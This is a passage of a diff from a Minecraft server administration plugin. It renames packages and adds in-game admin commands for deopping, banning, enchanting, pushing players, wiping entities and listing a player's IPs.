@CommandParameters(description = "Make some noise.", usage = "/<command>")
|
||||||
public class Command_deafen extends TFM_Command
|
public class Command_deafen extends FreedomCommand
|
||||||
{
|
{
|
||||||
|
|
||||||
private static final Random random = new Random();
|
private static final Random random = new Random();
|
||||||
public static final double STEPS = 10.0;
|
public static final double STEPS = 10.0;
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
{
|
{
|
||||||
for (final Player p : server.getOnlinePlayers())
|
for (final Player player : server.getOnlinePlayers())
|
||||||
{
|
{
|
||||||
for (double percent = 0.0; percent <= 1.0; percent += (1.0 / STEPS))
|
for (double percent = 0.0; percent <= 1.0; percent += (1.0 / STEPS))
|
||||||
{
|
{
|
||||||
@ -29,7 +31,7 @@ public class Command_deafen extends TFM_Command
|
|||||||
@Override
|
@Override
|
||||||
public void run()
|
public void run()
|
||||||
{
|
{
|
||||||
p.playSound(randomOffset(p.getLocation(), 5.0), Sound.values()[random.nextInt(Sound.values().length)], 100.0f, pitch);
|
player.playSound(randomOffset(player.getLocation(), 5.0), Sound.values()[random.nextInt(Sound.values().length)], 100.0f, pitch);
|
||||||
}
|
}
|
||||||
}.runTaskLater(plugin, Math.round(20.0 * percent * 2.0));
|
}.runTaskLater(plugin, Math.round(20.0 * percent * 2.0));
|
||||||
}
|
}
|
@ -1,18 +1,20 @@
|
|||||||
package me.StevenLawson.TotalFreedomMod.Commands;
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import org.apache.commons.lang.ArrayUtils;
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
import org.apache.commons.lang.StringUtils;
|
import org.apache.commons.lang3.ArrayUtils;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.bukkit.command.Command;
|
import org.bukkit.command.Command;
|
||||||
import org.bukkit.command.CommandSender;
|
import org.bukkit.command.CommandSender;
|
||||||
import org.bukkit.entity.Player;
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
@CommandPermissions(level = AdminLevel.SENIOR, source = SourceType.ONLY_CONSOLE)
|
@CommandPermissions(level = Rank.SENIOR_ADMIN, source = SourceType.ONLY_CONSOLE)
|
||||||
@CommandParameters(description = "For developers only - debug things via reflection.", usage = "/<command>")
|
@CommandParameters(description = "For developers only - debug things via reflection.", usage = "/<command>")
|
||||||
public class Command_debug extends TFM_Command
|
public class Command_debug extends FreedomCommand
|
||||||
{
|
{
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public boolean run(CommandSender sender, Player sender_p, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
{
|
{
|
||||||
if (args.length < 3)
|
if (args.length < 3)
|
||||||
{
|
{
|
@ -0,0 +1,26 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||||
|
@CommandParameters(description = "Essentials Interface Command - Remove the nickname of all players on the server.", usage = "/<command>")
|
||||||
|
public class Command_denick extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
FUtil.adminAction(sender.getName(), "Removing all nicknames", false);
|
||||||
|
|
||||||
|
for (Player player : server.getOnlinePlayers())
|
||||||
|
{
|
||||||
|
plugin.esb.setNickname(player.getName(), null);
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,46 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.DepreciationAggregator;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.OfflinePlayer;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||||
|
@CommandParameters(description = "Deop a player.", usage = "/<command> <playername>")
|
||||||
|
public class Command_deop extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
if (args.length != 1)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
OfflinePlayer player = null;
|
||||||
|
|
||||||
|
for (Player onlinePlayer : server.getOnlinePlayers())
|
||||||
|
{
|
||||||
|
if (args[0].equalsIgnoreCase(onlinePlayer.getName()))
|
||||||
|
{
|
||||||
|
player = onlinePlayer;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// if the player is not online
|
||||||
|
if (player == null)
|
||||||
|
{
|
||||||
|
player = DepreciationAggregator.getOfflinePlayer(server, args[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
FUtil.adminAction(sender.getName(), "De-opping " + player.getName(), false);
|
||||||
|
|
||||||
|
player.setOp(false);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,27 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.BOTH, blockHostConsole = true)
|
||||||
|
@CommandParameters(description = "Deop everyone on the server.", usage = "/<command>")
|
||||||
|
public class Command_deopall extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
FUtil.adminAction(sender.getName(), "De-opping all players on the server", true);
|
||||||
|
|
||||||
|
for (Player player : server.getOnlinePlayers())
|
||||||
|
{
|
||||||
|
player.setOp(false);
|
||||||
|
player.sendMessage(FreedomCommand.YOU_ARE_NOT_OP);
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,47 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
//import me.libraryaddict.disguise.DisallowedDisguises;
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||||
|
@CommandParameters(description = "Toggle the disguise plugin", usage = "/<command>", aliases = "dtoggle")
|
||||||
|
public class Command_disguisetoggle extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{/*
|
||||||
|
if (!plugin.ldb.isPluginEnabled())
|
||||||
|
{
|
||||||
|
msg(ChatColor.RED + "LibsDisguises is not enabled.");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
FUtil.adminAction(sender.getName(), (DisallowedDisguises.disabled ? "Enabling" : "Disabling") + " " +
|
||||||
|
"Disguises", false);
|
||||||
|
|
||||||
|
if (plugin.ldb.isDisguisesEnabled())
|
||||||
|
{
|
||||||
|
plugin.ldb.undisguiseAll(true);
|
||||||
|
plugin.ldb.setDisguisesEnabled(false);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
plugin.ldb.setDisguisesEnabled(true);
|
||||||
|
}
|
||||||
|
|
||||||
|
msg("Disguises are now " + (!DisallowedDisguises.disabled ? "enabled." : "disabled."));
|
||||||
|
|
||||||
|
return true;
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
msg("This command has been disabled for technical reasons. Contact a developer for additional information.");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,112 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.DepreciationAggregator;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.bukkit.Location;
|
||||||
|
import org.bukkit.Material;
|
||||||
|
import org.bukkit.block.Block;
|
||||||
|
import org.bukkit.block.Dispenser;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.inventory.Inventory;
|
||||||
|
import org.bukkit.inventory.ItemStack;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.OP, source = SourceType.ONLY_IN_GAME)
|
||||||
|
@CommandParameters(description = "Fill nearby dispensers with a set of items of your choice.", usage = "/<command> <radius> <comma,separated,items>")
|
||||||
|
public class Command_dispfill extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
if (args.length == 2)
|
||||||
|
{
|
||||||
|
int radius;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
radius = Math.max(5, Math.min(25, Integer.parseInt(args[0])));
|
||||||
|
}
|
||||||
|
catch (NumberFormatException ex)
|
||||||
|
{
|
||||||
|
sender.sendMessage("Invalid radius.");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
final List<ItemStack> items = new ArrayList<>();
|
||||||
|
|
||||||
|
final String[] itemsRaw = StringUtils.split(args[1], ",");
|
||||||
|
for (final String searchItem : itemsRaw)
|
||||||
|
{
|
||||||
|
Material material = Material.matchMaterial(searchItem);
|
||||||
|
if (material == null)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
material = DepreciationAggregator.getMaterial(Integer.parseInt(searchItem));
|
||||||
|
}
|
||||||
|
catch (NumberFormatException ex)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (material != null)
|
||||||
|
{
|
||||||
|
items.add(new ItemStack(material, 64));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
sender.sendMessage("Skipping invalid item: " + searchItem);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
final ItemStack[] itemsArray = items.toArray(new ItemStack[items.size()]);
|
||||||
|
|
||||||
|
int affected = 0;
|
||||||
|
final Location centerLocation = playerSender.getLocation();
|
||||||
|
final Block centerBlock = centerLocation.getBlock();
|
||||||
|
for (int xOffset = -radius; xOffset <= radius; xOffset++)
|
||||||
|
{
|
||||||
|
for (int yOffset = -radius; yOffset <= radius; yOffset++)
|
||||||
|
{
|
||||||
|
for (int zOffset = -radius; zOffset <= radius; zOffset++)
|
||||||
|
{
|
||||||
|
final Block targetBlock = centerBlock.getRelative(xOffset, yOffset, zOffset);
|
||||||
|
if (targetBlock.getLocation().distanceSquared(centerLocation) < (radius * radius))
|
||||||
|
{
|
||||||
|
if (targetBlock.getType().equals(Material.DISPENSER))
|
||||||
|
{
|
||||||
|
sender.sendMessage("Filling dispenser @ " + FUtil.formatLocation(targetBlock.getLocation()));
|
||||||
|
setDispenserContents(targetBlock, itemsArray);
|
||||||
|
affected++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
sender.sendMessage("Done. " + affected + " dispenser(s) filled.");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void setDispenserContents(final Block targetBlock, final ItemStack[] items)
|
||||||
|
{
|
||||||
|
if (targetBlock.getType() == Material.DISPENSER)
|
||||||
|
{
|
||||||
|
final Inventory dispenserInv = ((Dispenser) targetBlock.getState()).getInventory();
|
||||||
|
dispenserInv.clear();
|
||||||
|
dispenserInv.addItem(items);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,111 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.admin.Admin;
|
||||||
|
import me.totalfreedom.totalfreedommod.banning.Ban;
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.GameMode;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.scheduler.BukkitRunnable;
|
||||||
|
import org.bukkit.util.Vector;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.SENIOR_ADMIN, source = SourceType.ONLY_CONSOLE, blockHostConsole = true)
|
||||||
|
@CommandParameters(description = "For the bad admins", usage = "/<command> <playername>")
|
||||||
|
public class Command_doom extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(final CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
if (args.length != 1)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
final Player player = getPlayer(args[0]);
|
||||||
|
|
||||||
|
if (player == null)
|
||||||
|
{
|
||||||
|
sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
FUtil.adminAction(sender.getName(), "Casting oblivion over " + player.getName(), true);
|
||||||
|
FUtil.bcastMsg(player.getName() + " will be completely obliviated!", ChatColor.RED);
|
||||||
|
|
||||||
|
final String ip = player.getAddress().getAddress().getHostAddress().trim();
|
||||||
|
|
||||||
|
// Remove from superadmin
|
||||||
|
Admin admin = getAdmin(player);
|
||||||
|
if (admin != null)
|
||||||
|
{
|
||||||
|
FUtil.adminAction(sender.getName(), "Removing " + player.getName() + " from the superadmin list", true);
|
||||||
|
plugin.al.removeAdmin(admin);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Remove from whitelist
|
||||||
|
player.setWhitelisted(false);
|
||||||
|
|
||||||
|
// Deop
|
||||||
|
player.setOp(false);
|
||||||
|
|
||||||
|
// Ban player
|
||||||
|
Ban ban = Ban.forPlayer(player, sender);
|
||||||
|
ban.setReason("&cFUCKOFF");
|
||||||
|
for (String playerIp : plugin.pl.getData(player).getIps())
|
||||||
|
{
|
||||||
|
ban.addIp(playerIp);
|
||||||
|
}
|
||||||
|
plugin.bm.addBan(ban);
|
||||||
|
|
||||||
|
// Set gamemode to survival
|
||||||
|
player.setGameMode(GameMode.SURVIVAL);
|
||||||
|
|
||||||
|
// Clear inventory
|
||||||
|
player.closeInventory();
|
||||||
|
player.getInventory().clear();
|
||||||
|
|
||||||
|
// Ignite player
|
||||||
|
player.setFireTicks(10000);
|
||||||
|
|
||||||
|
// Generate explosion
|
||||||
|
player.getWorld().createExplosion(player.getLocation(), 0F, false);
|
||||||
|
|
||||||
|
// Shoot the player in the sky
|
||||||
|
player.setVelocity(player.getVelocity().clone().add(new Vector(0, 20, 0)));
|
||||||
|
|
||||||
|
new BukkitRunnable()
|
||||||
|
{
|
||||||
|
@Override
|
||||||
|
public void run()
|
||||||
|
{
|
||||||
|
// strike lightning
|
||||||
|
player.getWorld().strikeLightning(player.getLocation());
|
||||||
|
|
||||||
|
// kill (if not done already)
|
||||||
|
player.setHealth(0.0);
|
||||||
|
}
|
||||||
|
}.runTaskLater(plugin, 2L * 20L);
|
||||||
|
|
||||||
|
new BukkitRunnable()
|
||||||
|
{
|
||||||
|
@Override
|
||||||
|
public void run()
|
||||||
|
{
|
||||||
|
// message
|
||||||
|
FUtil.adminAction(sender.getName(), "Banning " + player.getName() + ", IP: " + ip, true);
|
||||||
|
|
||||||
|
// generate explosion
|
||||||
|
player.getWorld().createExplosion(player.getLocation(), 0F, false);
|
||||||
|
|
||||||
|
// kick player
|
||||||
|
player.kickPlayer(ChatColor.RED + "FUCKOFF, and get your shit together!");
|
||||||
|
}
|
||||||
|
}.runTaskLater(plugin, 3L * 20L);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,129 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import org.bukkit.Material;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.enchantments.Enchantment;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.inventory.ItemStack;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.OP, source = SourceType.ONLY_IN_GAME)
|
||||||
|
@CommandParameters(description = "Enchant items.", usage = "/<command> <list | addall | reset | add <name> | remove <name>>")
|
||||||
|
public class Command_enchant extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
if (args.length < 1)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
ItemStack item = playerSender.getEquipment().getItemInMainHand();
|
||||||
|
|
||||||
|
if (item == null || item.getType() == Material.AIR)
|
||||||
|
{
|
||||||
|
msg("You have to hold an item to enchant it");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (args[0].equalsIgnoreCase("list"))
|
||||||
|
{
|
||||||
|
boolean has_enchantments = false;
|
||||||
|
|
||||||
|
StringBuilder possible_ench = new StringBuilder("Possible enchantments for held item: ");
|
||||||
|
for (Enchantment ench : Enchantment.values())
|
||||||
|
{
|
||||||
|
if (ench.canEnchantItem(item))
|
||||||
|
{
|
||||||
|
has_enchantments = true;
|
||||||
|
possible_ench.append(ench.getName()).append(", ");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (has_enchantments)
|
||||||
|
{
|
||||||
|
msg(possible_ench.toString());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
msg("The held item has no enchantments.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (args[0].equalsIgnoreCase("addall"))
|
||||||
|
{
|
||||||
|
for (Enchantment ench : Enchantment.values())
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (ench.canEnchantItem(item))
|
||||||
|
{
|
||||||
|
item.addEnchantment(ench, ench.getMaxLevel());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
msg("Could not add enchantment: " + ench.getName());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
msg("Added all possible enchantments for this item.");
|
||||||
|
}
|
||||||
|
else if (args[0].equalsIgnoreCase("reset"))
|
||||||
|
{
|
||||||
|
for (Enchantment ench : item.getEnchantments().keySet())
|
||||||
|
{
|
||||||
|
item.removeEnchantment(ench);
|
||||||
|
}
|
||||||
|
|
||||||
|
msg("Removed all enchantments.");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if (args.length < 2)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
Enchantment ench = null;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
ench = Enchantment.getByName(args[1]);
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ench == null)
|
||||||
|
{
|
||||||
|
msg(args[1] + " is an invalid enchantment for the held item. Type \"/enchant list\" for valid enchantments for this item.");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (args[0].equalsIgnoreCase("add"))
|
||||||
|
{
|
||||||
|
if (ench.canEnchantItem(item))
|
||||||
|
{
|
||||||
|
item.addEnchantment(ench, ench.getMaxLevel());
|
||||||
|
|
||||||
|
msg("Added enchantment: " + ench.getName());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
msg("Can't use this enchantment on held item.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if (args[0].equals("remove"))
|
||||||
|
{
|
||||||
|
item.removeEnchantment(ench);
|
||||||
|
|
||||||
|
msg("Removed enchantment: " + ench.getName());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,20 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.NON_OP, source = SourceType.ONLY_IN_GAME)
|
||||||
|
@CommandParameters(description = "Goto the ender / \"The End\".", usage = "/<command>")
|
||||||
|
public class Command_ender extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
plugin.wm.gotoWorld(playerSender, server.getWorlds().get(0).getName() + "_the_end");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,22 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||||
|
@CommandParameters(description = "Remove various server entities that may cause lag, such as dropped items, minecarts, and boats.", usage = "/<command> <carts>", aliases = "ew,rd")
|
||||||
|
public class Command_entitywipe extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
FUtil.adminAction(sender.getName(), "Removing all server entities.", true);
|
||||||
|
msg((plugin.ew.wipeEntities(true)) + " entities removed.");
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,90 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.bukkit.Location;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.util.Vector;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.ONLY_IN_GAME)
|
||||||
|
@CommandParameters(description = "Push people away from you.", usage = "/<command> [radius] [strength]")
|
||||||
|
public class Command_expel extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
double radius = 20.0;
|
||||||
|
double strength = 5.0;
|
||||||
|
|
||||||
|
if (args.length >= 1)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
radius = Math.max(1.0, Math.min(100.0, Double.parseDouble(args[0])));
|
||||||
|
}
|
||||||
|
catch (NumberFormatException ex)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (args.length >= 2)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
strength = Math.max(0.0, Math.min(50.0, Double.parseDouble(args[1])));
|
||||||
|
}
|
||||||
|
catch (NumberFormatException ex)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
List<String> pushedPlayers = new ArrayList<>();
|
||||||
|
|
||||||
|
final Vector senderPos = playerSender.getLocation().toVector();
|
||||||
|
final List<Player> players = playerSender.getWorld().getPlayers();
|
||||||
|
for (final Player player : players)
|
||||||
|
{
|
||||||
|
if (player.equals(playerSender))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
final Location targetPos = player.getLocation();
|
||||||
|
final Vector targetPosVec = targetPos.toVector();
|
||||||
|
|
||||||
|
boolean inRange = false;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
inRange = targetPosVec.distanceSquared(senderPos) < (radius * radius);
|
||||||
|
}
|
||||||
|
catch (IllegalArgumentException ex)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
if (inRange)
|
||||||
|
{
|
||||||
|
player.getWorld().createExplosion(targetPos, 0.0f, false);
|
||||||
|
FUtil.setFlying(player, false);
|
||||||
|
player.setVelocity(targetPosVec.subtract(senderPos).normalize().multiply(strength));
|
||||||
|
pushedPlayers.add(player.getName());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pushedPlayers.isEmpty())
|
||||||
|
{
|
||||||
|
msg("No players pushed.");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
msg("Pushed " + pushedPlayers.size() + " players: " + StringUtils.join(pushedPlayers, ", "));
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,35 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||||
|
@CommandParameters(description = "Shows all IPs registered to a player", usage = "/<command> <player>")
|
||||||
|
public class Command_findip extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
if (args.length != 1)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
final Player player = getPlayer(args[0]);
|
||||||
|
|
||||||
|
if (player == null)
|
||||||
|
{
|
||||||
|
|
||||||
|
msg(FreedomCommand.PLAYER_NOT_FOUND);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
msg("Player IPs: " + StringUtils.join(plugin.pl.getData(player).getIps(), ", "));
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,27 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.NON_OP, source = SourceType.ONLY_IN_GAME)
|
||||||
|
@CommandParameters(description = "Goto the flatlands.", usage = "/<command>")
|
||||||
|
public class Command_flatlands extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
